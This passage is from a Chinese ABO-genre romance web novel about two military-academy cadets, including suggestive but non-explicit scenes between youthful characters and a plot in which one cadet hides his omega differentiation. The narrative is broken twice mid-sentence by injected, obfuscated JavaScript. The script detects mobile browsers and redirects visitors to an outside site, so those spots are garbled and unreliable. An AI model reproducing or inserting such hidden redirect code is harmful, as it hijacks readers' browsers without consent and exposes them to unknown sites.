【渣男a:好,等见面的时候,一定把糯糯抱起来。】 时言假笑:“好啊,哥哥。” 见面?等着吧,见面的时候,就是渣男付出代价的时候。 【渣男a:对了,糯糯住哪里?】 时言:“住在赫墨斯军校…附近的居民区。” 差点把真实住址说出去了。 【渣男a:好,那我给糯糯买了点东西,到时候邮到附近去,糯糯收到的话,能不能用给我看?】 不会是什么乱七八糟的东西吧? 时言咬着牙答应:“好的呀哥哥,那哥哥,能不能和我打个通讯呀?晚上如果听不见哥哥的声音的话,我会睡不着。” 时言拨通了通讯,忐忑对方会不会接。 好在对方很快就接了,低沉好听的男声传来,“喂?” 时言突然就有点紧张,“喂,哥哥,是糯糯呀。” “嗯,睡吧。” 渣男居然很老实,没说骚话? 时言想了想,可能也是不太熟?“那晚安,哥哥。” “晚安,宝宝。” 陆枭把智脑放在一边,打开校园网,在聊天后台联系时言,想知道对方现在到底在干什么。 【L:睡了吗?】 时言回的很快:【北极圈:没睡,有事?】 陆枭勾了勾唇角,【能去你屋里吗?】 【北极圈:不能,我睡了。】 【L:你不是说没睡吗?】 【北极圈:现在就睡!】 【L:那好吧,记得换上睡衣,洗脸,喝牛奶,盖被子。】 【北极圈:……】 【北极圈:你管的是不是有点太宽了?】 时言把智脑一扔,换了睡衣,进了卫生间,洗脸,刷牙,喝牛奶,然后回到床上盖被子。 时言:…… 我敲。 时言猛地抬头在屋子里四处看。 陆狗是不是在他屋里装监控了? 【L:躺下了吗?】 陆枭甚至能想到少年现在盖在被子里的可爱样子,肯定把被子夹在腿里,侧着身睡觉。 【北极圈:……嗯。】 【L:那,晚安。】 时言再三确定屋里真的没有安装监控,正打算回话,然而,墙板的另一边传来三声敲击,两长两短。 是陆枭在用军事密码和他说晚安。 控制欲真的很强啊陆狗。 时言把被子蒙在脑袋上,闷了大概十秒钟才冒出头,非常不乐意地打字回:【晚安。】 - 今天是机甲维修课,菲利尔教官让每组同学检查好自己的机甲,下周就要去实训了,时言早早拿到课程安排,发现TT那边,渣男在早上6:30挂断了通讯。 还有一句留言。 【渣男a:已经买了,等着糯糯签收。】 【小咪耳朵:好哦,哥哥。】 时言吐出一口气,顶着俩黑眼圈,去吃早餐,看见了柚木叶和莱厄斯,正好,他们仨一起去了机甲维修区。 柚木叶和莱厄斯选择了机甲“长空”,就在隔壁维修间。 时言去找陆枭。 巧的是,陆枭也是一脸黑暗气息,没睡好的样子,站在“银河”边,用检测仪器排除故障点,看见他来,对他招了招手。 时言走过去,肩膀撞了陆枭一下,“陆枭。” 陆枭回过头,眼珠也有一点充血,但是语气很平和,“怎么了?” 时言看了他一眼,然后晃了晃身子,整个人栽在陆枭身上。 陆枭下意识搂住了他的腰,让他靠在自己身上。 “言言,”陆枭嗓音有些沙哑,“身体不舒服吗?” “没。” 时言心里把死渣男骂了十万八千遍,要不是昨天晚上聊那么晚,今天不至于困得要死。 时言虚弱地说:“昨晚没睡好,让我靠一会。” 陆枭看了眼机甲,把设备放回自己的背包里,“站着睡能睡着?进驾驶舱再睡。” 时言呼吸变粗,因为很困,所以脾气不是太好,“你怎么那么多事?“ 但是陆枭拽着他上了机甲,按在驾驶舱里,时言这才没那么暴躁,脑袋一歪靠在了陆枭肩膀上。 陆枭肩膀不动,强撑着眼皮,把机甲内部的线路一 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小omega的视线往里面一看,惊讶地看见了时言,“那不是…” 陆枭盯着他的眼睛,摇了摇头,冷淡的琥珀眸子里,似乎什么都没有。 小omega瞬间意识到,这是一个无声的拒绝,像一条恶龙用尾巴圈藏着巨大的宝藏,拒绝任何外来人的窥视和觊觎。 小omega犹豫了一下,还是决定把手里的情书给时言,“陆枭,你能帮我转达吗?” 陆枭手指僵硬地接了过来,机械一样点点头。 小omega羞红着脸跑了。 陆枭默不作声地把情书藏进了机甲的储藏夹层里。 刚好菲利尔教官喊他们每个小组派人来领能源油桶,陆枭把时言的脑袋靠在落枕上,没有惊醒他,身轻如燕地跳下了机甲。 时言感觉自己好像睡着了,这会儿慢慢悠悠地醒过来。 陆枭又跑哪儿去了? 这个混蛋,不就睡了他一会儿吗,至于跑这么快? 时言揉了揉脑袋,让自己清醒一点,顺便在机甲里翻一翻,看有什么杂物,如果缺了什么必要的用品,可以及时买,到了亚布力沙漠基地,除了好斗的雇佣兵就只剩下黑市的高昂物价了。 时言突然看见了一个粉色信封。 这啥玩意? 时言满腹狐疑地打开了。 里面是一张纸,干干净净的便签,漂亮的手写体。 ——我喜欢你。 时言:? 好啊,陆枭长大了,也知道暗恋别人了。 时言欣慰地想。 这时候陆枭回来了,提着四桶能源油,放进了机甲储备库里。 时言立刻把信藏起来,装做什么也没有发生。 但是陆枭一眼就察觉到不对劲,马上去翻那封信,果然就不见了! 陆枭缓缓看向时言,声音充满了难以置信:“言言,你看了那封信?” 时言心不在焉地笑了笑,“怎么,就许你暗恋别人,不许我看看你的信?” 陆枭皱了下眉头,“什么?” 时言坏笑着说:“说吧,你喜欢谁?不敢说,我替你说。” 陆枭反应过来,平静地眨了眨眼睛,似笑非笑地说:“你猜啊,这机甲里除了我还有谁?” 时言:你在开玩笑吗? 等等。 时言:▼-▼ 笑容消失在脸上。 然后转移到陆枭脸上。 时言咬着手指甲,思考哪个环节出了问题。 刚才睡着的时候,迷迷糊糊是听到有人在他耳边说什么东西……难道就是…… “我喜欢你?” 是陆枭说的? 陆枭不是直男吗?难道…… 时言愣在原地,如遭雷劈! 时言下意识往后退。 他现在弄不清陆枭是不是在跟他开玩笑。 但是陆枭的轮廓在逆光下显得格外冷峻,他进了驾驶舱,然后反锁上了门。 少年撑在他身体上方,笼罩住他,周身散发着狼一样的狠厉与冷冽,直勾勾地盯着他,那眼神仿佛下一秒就要将他拆吃入腹,滚烫又危险。 时言紧紧缩在座椅角落里,颤抖着声音说:“陆枭…你你你别过来。” 少年犹如什么也没有听到,慢条斯理地勾起时言的一缕头发,在时言爆红的耳根处,轻轻撩了一下。 10. 喜欢你 时言眼睛一阵眩晕,眼前的世界紧跟着晃了一下。 热到不能呼吸,时言耳朵后面的筋猛地一跳,嗓子干巴巴来了句:“机甲里没开冷风循环系统吧?” “热?”陆枭一针见血地说,“还是不敢回答,所以后背像被针扎一样出冷汗?” 时言皱着眉心别回头。 陆枭嘴真毒,怪不得单身到现在,写情书就写情书呗,还不敢承认,非得赖在自己身上。 但是不知道怎么回事,时言这会儿真有点不敢看陆枭,语气放软了点,“真的很热,但这不重要…陆枭,你当我什么都没看到不行吗?” 陆枭无情戳破伪装:“你看到了。” 时言咬了下嘴唇,一团一团的红晕在他脸上铺陈,“是,我看到了,你不用觉得不好意思,就算你喜欢上omega,我也不会嘲笑你,谁都有梦想,香香软软的omega谁不喜欢?你别杀我灭口就行。” 陆枭看着他,意味深长地笑了一下,“怂了?” 至少在陆枭看来,帅气爽朗的少年露出了非常可爱的表情,因为很紧张,嘴角的梨涡若隐若现,眼睫毛像蝴蝶翅膀一样不停地抖啊抖的。 时言瞪他,“谁怂?你再说一遍谁怂?” “腿都软了,还说没怕?”陆枭缓缓靠近他的脸颊,“言言,你口不对心,脸红得像火山喷发似的,怕我喜欢你?” 时言浑身一震,“我那是热的。” “哦,”陆枭的声音在舱室里显得空旷,手轻轻放在时言的后颈腺体上,有一下没一下地捏着那块软肉,语气也跟着有一搭没一搭的,心不在焉的感觉,“如果真是我喜欢你呢,你怎么想?” “别闹。”时言憋了半天,憋出来这么一句话,“别揉了,再揉也不可能二次发育。” 被陆枭这一碰,时言后颈那块软软的肉就有些发麻。 可能也是最近没睡好,本来没知觉的腺体经常会发痒。 时言也没在意,总不可能二次分化吧?那就是医学奇迹了。 时言一手握住陆枭的手腕,声音放低,几乎都带着点求饶的意思了,“那地方又没有信息素,我是beta,不是omega,你再揉我也不可能在你面前发情,求着你干我。” “我没有闹。”陆枭嗓音沙哑而深沉,“回答我。” 时言被他抬着下巴仰起头,被迫与他目光对视,心跳莫名其妙地静止了一瞬。 色、色.诱? 陆枭冷峻的脸庞与年少时别无两样,露出的那副神情,眼睛里都快滴出水来了,看着有种莫名的委屈。 时言迫于无奈,只能回答:“我是直的。” 陆枭冷笑,“那你怎么看见女生就躲着走?给你表白过的女孩子,每个都很漂亮,毫无缺点,但你一个都不答应。” 时言:? 我敲,好像真是。 “那我也不喜欢男的,”时言赶紧说,懒洋洋的语气,掩饰心里的颤抖,“你有完没完?赶紧的起开,别耽误我上课时间。” 陆枭语气阴晴不定地说:“你不试试怎么能确定,你喜欢的是女生还是男生?” 时言难以置信,都气笑了:“陆枭,我喜不喜欢男的我还不知道?你这话说的,好像我大脑智障小脑短路。” 周围的空气仿佛都被抽离,陆枭猛地将时言抵在靠垫里,呼吸变得急促,双眼紧紧锁住时言,“那就试试?” 未等时言反应,陆枭握住他的两边脸颊,把脸上的薄薄肉都捏起来了,低头,微凉的唇便压了下来,带着不容抗拒的侵略性,在他脸颊旁边,克制地停下。 “…………” 就算是蜻蜓点水一般的面颊吻,在联邦贵族之间也很常见。 但是陆枭骤然停在了距离时言唇边1厘米的地方。 对方的呼吸就在唇畔打转,时言大脑一片空白,原本随意垂在身侧的双手,此刻僵在半空,手指下意识地蜷缩起来,似是想要抓住什么,却又无处着力。 陆枭的腰是一把杀人的刀。 握住了会万劫不复。 维修车间里其他同学喧嚣依旧,可此刻所有声音都被隔绝在外。 滚烫的夏天午后,心跳声和太阳光线一样强烈。 时言的肩膀被少年灼热的手握住,鼻梁贴近,他闭着嘴,发不出一点声音,像是被施了定身咒。 心弦骤然弹错了一个音,这在以前从来没有过。 原本还带着几分玩世不恭的脸上,此刻只剩下傻乎乎的惊愕。 时言傻呆呆地看着陆枭,“你……” “时小言,”陆枭低声说,“我还没亲呢,我想问你,你觉得我离你这么近,你恶心吗?” 说实话,不恶心。 而且陆枭身上很香,是沐浴液的味道。 可能因为陆枭长得好看,换别的男生,时言一拳头飞过去。 时言红着脸摇了摇头。 陆枭握住他的手,放在了自己的腰上,轻言慢语:“以后记得,接吻的时候,要搂住腰。” “坐下的时候,要□□。” “……”时言耳朵里都是电音,根本听不清陆枭说什么。 陆枭没有把身子抬起来,依然地压着时言,时言害怕一转头就吻上对方的脸,只摇了一下头就停住了。 天啊… 时言绝望的想,为什么陆枭又香又干净,让他完全讨厌不起来… 时言状似不经意地瞥了陆枭一眼。 陆枭垂着眼睛不知道在想什么,但是他的脸非常好看,是贴这么近的距离,都挑不出来瑕疵的俊俏。 察觉到时言的目光,陆枭一个眼神飞过来,眼尾一勾,舔了下嘴唇,似乎在平复着呼吸。 时言立刻把头扭过去,装作什么都没看到。 这混蛋他不会…真的喜欢我吧? 陆枭亦是难得烦躁。 他告诉自己不能亲下去,时言现在还没意识到他性取向有问题,强迫他亲吻是不礼貌不尊重的表现。 时言用了好一会儿才把理智找回来,“那封信到底是谁写的?” 陆枭深呼吸一口气,“还记得那天晚上你救了的那个小omega吗?他来给你表白了,我看你睡着,就把信塞进了储物箱,你没发现那不是我的字体吗?” 时言感觉自己卸下了一吨的重担,长吁了一口气,“发现了,但我以为是你不想被我发现,所以特意练的手写体。” 陆枭低低笑了一下,“是啊,如果是我向你表白,不会选择写信。” 时言:? 你还越说越真了! 陆枭慢条斯理地放开他,坐回驾驶位里。 时言揉了揉头发,心里存了个疑影,如果陆枭真喜欢他……该怎么办? 陆枭是他的死敌,也是他最好的朋友,兄弟。 如果陆枭真喜欢他,时言也不会和他绝交。 换个角度想,陆枭是不是看见那封信,嫉妒了?心里不舒服? 这么一想,突然就想通了。 时言看了看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358823|168052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,突然觉得,长这么帅,可惜是个beta,有点可怜哦。 好像出任务和陆枭一起住的话,还可以安慰一下他脆弱的心灵,至少在alpha同学和omega同学们偷偷谈恋爱的时候,他可以陪陆枭吃个晚饭什么的。 陆枭在那边戴上了作战手套,按照验收流程,打开机甲,检查油路,确认机甲各个部位都没有发出故障码,严肃的说:“1号检修完成,可以离开驾驶舱。” 时言按照训练标准,懒洋洋地回答:“2号收到通知。” 陆枭听到他轻松的语气,意外地看他一眼。 时言看着他的眼神,更验证了自己的想法,搂着他的肩膀,低声说:“别伤心了,那封情书我找机会退回去,你单身,哥陪你。” 陆枭僵了僵。 大概3秒后,他低下头,看不清表情,但是声音很低沉:“嗯。” 时言心想,唉,果然还是伤心了吧陆枭枭,还是想要人陪的吧? 时言对自己的判断很有信心。 下了机甲,陆枭去找教官汇报进度。 时言被柚木叶拦住。 柚木叶:“时哥,你们俩在里面那么久,干嘛了?” 时言想了想,“他想亲我来着。叶子,这正常吗?” 柚木叶:“男生之前亲一亲很正常啊,尤其是好朋友,高兴的时候亲下脸,太正常不过了,” 柚木叶看着莱厄斯,“莱厄斯,你低头啊。” 莱厄斯很宠着柚木叶,低下头。 柚木叶揽着他后颈,在他脸上亲了一口。 莱厄斯也没有推开他,两只宽厚修长的大手轻轻扶在了柚木叶腰上,也不知道是想推开他,还是想固定住他。 时言满腹狐疑地看了眼莱厄斯,心说这是很正常的吗?是我大惊小怪了? “但是陆枭没亲下来啊。”时言又说,“他停下了。” 柚木叶如临大敌:“啊?那就有问题了,他要是大大方方亲下来,还可以解释成兄弟情,他要是隐忍了一下,那就不好说了。” 时言顿了顿,故作轻松地说:“不可能,他不会喜欢我的。” 柚木叶眨了眨眼睛,“那是你们的事了,后天早上见了,时哥。” 时言点点头,然后柚木叶拉着莱厄斯走了。 下课了,时言回去取快递。 星际快递的速度堪比火箭直达,时言看了眼包裹,面单上什么都没写,只写了收件人是“糯糯”。 时言只好抱回寝室拆开看。 是一个小小的盒子,里面躺着一枚漆皮绑带黑色腿带,上下两个腿环,能同时勒住大腿那种,穿在里面,外面看不出来。 还挺贴心。 等去了实训基地,就算和陆枭一起住,也不会露馅了。 时言试着穿了一下。 两道腿环,两个圈,勾一下,弹一下,大腿的肌肉会被勒的紧紧绷响。 ……这玩意儿真能穿? - 陆枭知道快递被时言查收了。 其实那腿环是给时言用来藏刀的,不是穿的。 毕竟同居的话,时言身上的什么他看不到。 虽然有可能会被赶出来,不过,时言对其他人是客气,对他是独一无二。 那个omega一定不知道时言的样子有多迷人。 陆枭细碎的刘海下,一双狭长的眼睛冷若寒星,一想到那个红着脸的少年,牙就痒。 想咬。 …想操。 11. 藏被窝 偏偏时言不知好歹地给他发了消息。 【小咪耳朵:哥哥,这是怎么穿的呀?】 【渣男a:你把它当成普通腿环穿,怎么舒服怎么来。】 【小咪耳朵:我不会穿,要是哥哥能帮我穿就好了。】 【小咪耳朵:好想要哥哥在我身边哦。】 陆枭看着时言的消息,脑海里瞬间浮现出那纤细白皙的大腿被黑色漆皮绑带紧紧勒住的画面,喉结忍不住上下滚动了一下。 发完消息,陆枭靠在电竞椅上,脑海里开始不受控制地想时言。 好啊,那就去见他。 那个可爱的、一刻也不停地勾引他的家伙。 时言看着回复撇了撇嘴。 说得轻松,这玩意儿看着就很难穿,但好奇心作祟,还是再试试吧。 他把腿带套在腿上,用力一拉,结果腿带瞬间回弹,“啪”的一声重重打在大腿上,疼得他差点跳起来:“嘶!” 就在这时,寝室门突然被打开,陆枭懒散地走了进来,“在收拾行李吗?” 时言:0v0 这门锁得换了,陆枭好像有备用钥匙! 看到时言翘起一条腿,单腿站着,手里抓着黑色腿环,一脸狼狈,地上还散落着各种奇奇怪怪的小物件,陆枭差点憋不住笑,假装一脸惊讶:“言仔,黑色漆皮挺适合你的。” “又白,又细。” 时言一阵无语:“你说的是腿环吗?” 但是手忙脚乱地用衣服挡住腿,脸上一阵发烫:“我穿着玩…那个,哦对,这东西不是能把刀藏进去吗?我试试。” “真的吗?”陆枭强忍着笑意,一脸坏笑地靠在门框上,慢条斯理地说:“还瞒着我,这是打算给哪个小omega惊喜呢?” 时言急得脸更红了:“去去去,别瞎猜,我给你惊喜行了吧?” 陆枭挑了下眉。“那是挺惊喜的。” “言仔,给我摸摸。” 时言:该死的直男,没有边界感! 好死不死的,智脑这个时候响了。 是祁司屿。 祁司屿和他们一个班,alpha,这次选择了另一个alpha室友沈逸寒组队,他们四个都是在青训营里出来的同学。 他俩一直打算把时言和陆枭按在排名底下,所以最近偶尔给时言打通讯,每次通话内容都是很欠扁。 陆枭闻言,原本脸上的笑意瞬间消散,眉头轻皱,语气不自觉带上几分警惕与疑惑:“祁司屿?” 少年身形微微一动,原本稍显随意的站姿缓缓变得笔直,眼神紧紧锁住陆枭,开口问道:“你和他私下里还有联系?” 时言:…… 拜托,语气别像捉奸一样好吗? 陆枭的眼睛落在了智脑上,时言怕被陆枭发现和渣男的聊天记录,立刻阻止:“别看我智脑!” 结果一往陆枭的方向跑,没穿好的腿环就开始往下滑,他只能不停地偷偷往上提,模样十分滑稽… 陆枭嗓音莫名低沉,“笨蛋,调整下松紧,实在不行我帮你。” 时言气得咬牙切齿,“不用你管。” 时言抢在陆枭前面一把抓住智脑! 我重生了妈妈! 【祁司屿:时言,过两天亚布力沙漠,准备好一败涂地了吗?要我说你干脆退学吧,我看在家玩布娃娃哭鼻子比较适合你。】 时言正被腿环搞得焦头烂额,看到祁司屿消息更是气不打一处来,回复道:【说垃圾话是赛前传统吗?】 祁司屿回复:【不然呢?洗干净脖子等死吧。】 时言恶狠狠地发言:【那你就洗干净腿等着被.干吧。】 祁司屿:【?】 祁司屿:【时言言,你变了,你变得陌生了。】 时言:【有吗?我只看见了一个绝望的直男。】 这会儿,祁司屿正在宿舍里躺尸,扔下智脑开始反思人生。 弹了一会,猛地弹射起床,“这个时言,他跟着陆枭学坏了,原来他只会发狠,现在学会调戏人了,我非得赢了他,让他叫我爸爸不可!” 另一个alpha沈逸寒接过了他的智脑,骂了他一句:“废物,你就从来没吵赢过时言和陆枭。” 祁司屿更生气了:“你给我骂他!” 沈逸寒对时言也不需要客气,仔细思索一番,回复:【为什么要洗干净腿,而不是洗干净后面?】 【乖乖,把自己里里外外都洗干净,等着求我饶了你。】 【我会因为你叫我爸爸而对你网开一面。】 时言:?? 这语气肯定是沈逸寒。 只有沈逸寒才会这么欠揍,祁司屿可不会这么多骚话。 时言把东西一摔就要出门。 下一刻,陆枭紧紧勒住了他的腰。 时言怒了:“陆枭你给我松手,松开听见没有?我现在就要去揍祁司屿和沈逸寒,这两个混蛋找死!” 对付时言,陆枭很有理智地顺着毛捋:“没事,到时候谁叫谁爸爸还不一定,你冷静点,别被激怒了。” “我冷静不了,他俩合起伙来针对我!”时言气的半死,“你不跟我去,就别耽误我时间!” 然而陆枭一动,后腰却好像被一个钥匙一样的东西抵住。 如果不是钥匙,就是陆枭随身携带的□□沙漠之豹手枪。 但是现在也是够怪异的。 他还没穿裤子,被陆枭搂在怀里。 或者不是这两样,就是别的什么东西。 都是男的,都懂。 时言知道自己是直的,陆枭是不是就不好说了。但是现在被陆枭这么一弄,时言连自己是不是直的都不敢确认了。 …不敢想。 时言立刻往后退,然而那腿环却挂住了陆枭的装饰流苏,时言用力挣扎,想要挣脱陆枭的怀抱,可这一挣,腿环挂住流苏的情况愈发严重,他每动一下,腿环就勒得更紧,大腿上的肌肤被勒出一道道红痕。 “陆枭,你先别动,这腿环缠上你的流苏了!”时言声音都带上了几分颤抖,“得先解开。” 少年满脸通红,不仅仅是因为愤怒,更多的是羞恼。 陆枭低头看向那纠缠在一起的腿环和流苏,嘴角微微上扬,眼中闪过一丝不易察觉的暗色。 他故意凑近时言,温热的气息喷洒在时言的耳畔:“把腿支起来,靠近我。” “别害羞,言仔。” 说着,他的手缓缓伸向时言的腿环。 时言浑身一僵,想要躲避却又被腿环束缚着动弹不得。 只能赌陆枭有良心了。 然而看到陆枭在做什么之后,时言脸涨得通红,活像一只熟透的虾。 “陆枭,我让你帮我解腿环,没让你解裤子!” 陆枭手里正抓着他自己的裤腰带,满脸奇怪:“我不把自己的裤子解开,从里面卸掉流苏扣,怎么让你脱身?” 时言:“……” 时言勉为其难地别回头,哑口无言。 陆枭可真不是故意耍流氓,他顺利解开内部的流苏隐藏扣,才开始解外部的腿环勾连。 手指触碰到时言大腿的瞬间,时言感觉一股电流从大腿传遍全身。 时言紧张得大气都不敢出,眼睛紧紧闭着,脑海里一直回荡着尖叫声。 就在这时,寝室门突然被敲响。 “时言,你在里面吗?”是祁司屿气愤的声音,“我来找你干架,你不开门的话,我只能默认你怂了。” “你还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358824|168052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢来找我?”时言猛地睁开眼睛,“怂个屁,祁司屿你等着,我这就出去!” 然而意识到目前的情况… 他的裤子已经被丢在了地上,陆枭面对着他解开了拉链。 ……脑瓜子嗡嗡的。 时言惊恐地看向陆枭,压低声音说:“快别弄了,祁司屿来了!” 陆枭却像是故意作对一般,不仅没有停下手上的动作,反而加快了解开腿环的速度,同时轻声说:“别急,马上就好,你越催我越着急,手指头打结,更解不开,叫人误会就不好了。” 时言急的要命,但是毫无办法,只能在心里默默祈祷祁司屿是自己来的,因为沈逸寒最擅长拆卸机械,拆个门锁的速度比陆枭还快。 时言的腿环刚解开,就听见沈逸寒在外面笑了下说:“这么麻烦?我来,时言这小子在青训营的时候没少撬我的门锁,今天轮到我给他开个眼。” 时言慌不择路,当时脑子里划过无数个念头,但无论哪一个都很糟糕,唯一的办法就是藏起来。 时言立刻抓住陆枭的手臂,把人甩到床上,心急如焚地压低声音道:“快装睡!” 然后他自己也以最快的速度跳上床,拉过被子将两人紧紧蒙住,大气都不敢出。 陆枭被这突如其来的动作弄得差点喘不过气,刚想挣扎,就感受到时言的指甲几乎要嵌进他的掌心。 那是一种极致紧张下的本能用力,黑暗中,两人的呼吸急促又沉重,交织在一起,分不清是谁的。 陆枭低声说:“你自己藏被子里就行了,为什么拉上我?” 时言满头是汗:“我躺在床上,你在外面系裤带,你不觉得更奇怪吗?” 陆枭若有所思地点点头。 沈逸寒那边捣鼓门锁的声音愈发清晰,每一下都重重地砸在时言心上。 时言听着那声音,脑海里飞速闪过无数被沈逸寒撞破的可怕场景,冷汗顺着鬓角滑落,后背早已被汗水湿透。 而陆枭一直盯着他,被子里狭小又闷热的空间里,他清晰地感受到时言剧烈的心跳声。 沈逸寒真开了锁,进了屋,四处看了看,“人呢?别装睡,这不是你性格,我知道你在埋伏我呢,时言,你出来!” 时言从被子里冒头,假装一副没睡醒的样子,“沈逸寒?谁让你进来的,我邀请你了吗?” 沈逸寒看了一眼他被子的两个鼓包,不怀好意地一笑,“厉害啊,还学会藏人了?” 祁司屿从他后面走过来,还没等时言看清他,他一只手就掀开了被子:“哟,我看看你这是干什么呢!” 时言第一反应是看陆枭的裤子。 还好还好,拉上了拉链。 但是…… 他腿上还有腿环,还没穿裤子。 时言猛地捂住腿,陆枭反应迅速,抓起被子就盖在了时言腿上。 时言捂着头,已经很想死了现在。 祁司屿和沈逸寒都傻站在原地。 祁司屿迟疑地说:“你跟陆枭,你俩…不都是beta吗?beta跟beta也行?” 沈逸寒一把捂住他的嘴:“没啥,我俩什么也没看着,你当我俩没来过!” 沈逸寒拽着祁司屿头也不回地离开了,时言捂着脸,没脸见人了,手拿开之后,时言悔恨地揪住陆枭的衣领,骑在他身上。 “陆枭,我跟你没完!” 陆枭的手随意搭在时言的大腿上,手指微微蜷起,勾起时言腿上的腿环,又猛地松开。 “啪”的一声脆响,时言的腿被震得轻颤,白皙的不见光的皮肤上,多了一道红红的印子。 时言猛地咬住下唇,刹那间,红晕迅速爬上脸颊。 陆枭似笑非笑,悠悠开口:“嗯,是挺合适的。” 12. 抑制贴 气得时言一天没和陆枭说话。 主要是还有一个原因,时言感觉自己好像……要分化了。 没错,就是分化。 否则谁家beta会腺体发痒? 虽然时言不是很了解分化要经历什么,但是根据其他同学的描述,他很忐忑,怕真的分化,于是赶在出发之前,去了一次校医院。 各项体检都做完,医生坐在办公桌后,神色恍惚地翻看着时言的各项检查报告:“不可思议,太神奇了。” 时言坐在对面,眼睛紧紧盯着医生,试图从他的表情里提前窥探出结果,心脏砰砰跳得极快,仿佛要冲破胸膛。 许久,医生终于抬起头,目光透过那副黑框眼镜,落在时言脸上,沉稳地开口:“各项指标显示,你确实已经处于分化的初期阶段了,恭喜你,时同学。” 听到这话,时言脑袋“嗡”的一声,一阵眩晕。 过了好一会儿,时言才找回自己的声音问道:“那……那我会分化成什么?” 医生看上去相当开心,拿起笔在报告上写下几行字,“现在还不能完全确定,不过从激素水平的初步波动来看,分化为omega的可能性比较大哦。” omega? 时言的脑海瞬间乱成一团麻。 脑袋里第一个反应就是,如果分化成了omega,陆枭肯定欺负死他。 “医生,有什么办法能延缓分化吗?”时言抱着最后一丝希望问道。 医生摇了摇头,“分化是自然生理过程,无法人为阻止或延缓,但是你不要担心,我知道你的成绩,你这么优秀,肯定会进军部的,据我所知,军部也有很多优秀的omega特工。” 时言听见这话,心里才稍微轻松了一点。 医生温和地说:“你现在要做的,是尽快调整好心态,准备迎接分化,分化期间,身体会很脆弱,一定要格外注意休息和营养。你等着,我要把你的事上报给联邦实验室,这简直是个医学奇迹!” 时言有些难以启齿,但还是不希望声张这个秘密,“医生,可不可以替我隐瞒这件事?” 医生想了想,察觉到了少年的害羞,很善解人意地说:“这样吧,我可以替你隐瞒一段时间,但是你也要答应我,不要用抑制剂,那不是好东西,我给你一些信息素抑制贴,你平时贴在后颈的腺体上,不要被其他同学发现,否则我也会被学校惩罚的。” 时言的心情就这样平静了下来:“谢谢你,医生。” 医生笑着伸出小手指:“那我们拉勾?答应我,要好好爱护自己的身体,不要因为分化成了omega就害羞。” 时言难得笑了一下,点点头,“好。” 医生把他当成自己家的孩子一样照顾,笑眯眯地给他拿了很多抑制贴,还给他列了一张单子,让他对着单子上的生理分化周期,来对证自己到了哪一个分化阶段。 时言谨慎地把单子保存了起来。 虽然时言觉得很对不起医生,但是他还是出校医院的第一时间就买了信息素抑制剂。 做omega也没什么不好,时言并不抵触这个,他相信自己无论做A做O人生都很精彩,这一生不该被性别所束缚,他甚至很期待自己也能进化出二级形态,最好是凶猛一点的动物。 但是被别的人发现都没关系,唯独不能被陆枭发现。 那么,现在唯一一个罕见病患者就是陆枭了? 时言感觉自己要被笑死,真的很想嘲笑一下陆枭。 不过还是先保密吧。 时言回了公寓,看了一下注意单,逐字逐句地看,比背期末知识点都认真,好像被什么ddl追着屁股跑,今天不看完不许睡觉。 ——omega分化初期,身体上会有微妙变化,如体温稍许升高、情绪波动较大、对某些气味更加敏感,同时,身体激素水平开始发生变化,尤其是与omega性别相关的激素分泌量逐渐增加。 时言测了一下自己的体温,确实比平时高了1度。 时言看着温度计发呆。 这么没有悬念的吗?就没可能是误诊,实际上是分化成alpha的吗? 时言绝望地去了盥洗室,颤颤巍巍取出了一针信息素抑制剂。 透明的液体,看上去温柔而无害,却能让一个omega闻起来像是beta。 给自己扎针需要一些勇气,时言保持冷静,缓缓撩起衣袖,露出因长期训练而肌肉紧实的手臂,皮肤下淡蓝色的血管微微凸起,很好扎针的样子。 他咬了咬牙,将心一横,用力将针头刺入皮肤。 药剂缓缓注入体内,伴随着一阵细微的刺痛,时言的脸上没有任何表情的变化,这点痛对他而言就像被蚊子叮了一口。 这只是暂时的缓解,分化的浪潮会持续不断地涌来,所以能拖多久就拖多久吧,至少要让他习惯omega的身体。 时言撕下一张信息素抑制贴,精准地贴在了自己的后颈第三节骨节处,抑制贴的材质是隐形的,但如果仔细用手指抚摸的话,还是能摸到边缘的。 其他人倒是没有关系,唯独要防着陆枭碰他的脖子。 那个狗,可是有一点异常都能发现的体质。 时言气得睡觉! - 清晨3:30,全体一年级新生起航,前往亚布力沙漠实训基地。 星舰缓缓脱离了停机坪,底部喷射出的蓝色火焰照亮了周围的黑暗,宛如一颗即将划破夜空的流星。 一年级新生们怀揣着兴奋与好奇,紧紧贴在星舰的舷窗边,眼睛一眨不眨地望着逐渐远去的赫墨斯军校。 时言和柚木叶、莱厄斯站在一起,陆枭在带队,戴着管理徽章,时言这时候很庆幸他们俩没站在一起,换句话说,他对接下来的一周感到紧张。 同吃同练也就算了,还得同睡… 时言欲哭无泪。 菲利尔教官站在所有同学前面喊:“所有同学请注意,看管好自己的行李,等下到了营地,自行扎帐篷,我不在乎你们在哪里驻扎,反正只有七天,七天以后,我要看见你们平安的回到集合点。” “这次的实训任务是猎杀星兽,每组至少十只,我不管你们用什么办法,是去黑市买也好,是花钱让雇佣兵跑腿也好,我只要结果。我要求,每个同学都必须随身佩戴定位器,如果被我发现谁摘下来了,或者谁一直藏在营地当缩头乌龟,我一定会给你们处分。” “是。”全员回答。 到达基地之后,全体降落在一块绿洲上,开始搭帐篷。 柚木叶抱着帐篷,拉着莱厄斯:“莱厄斯,我不太会这个,你来帮我。” 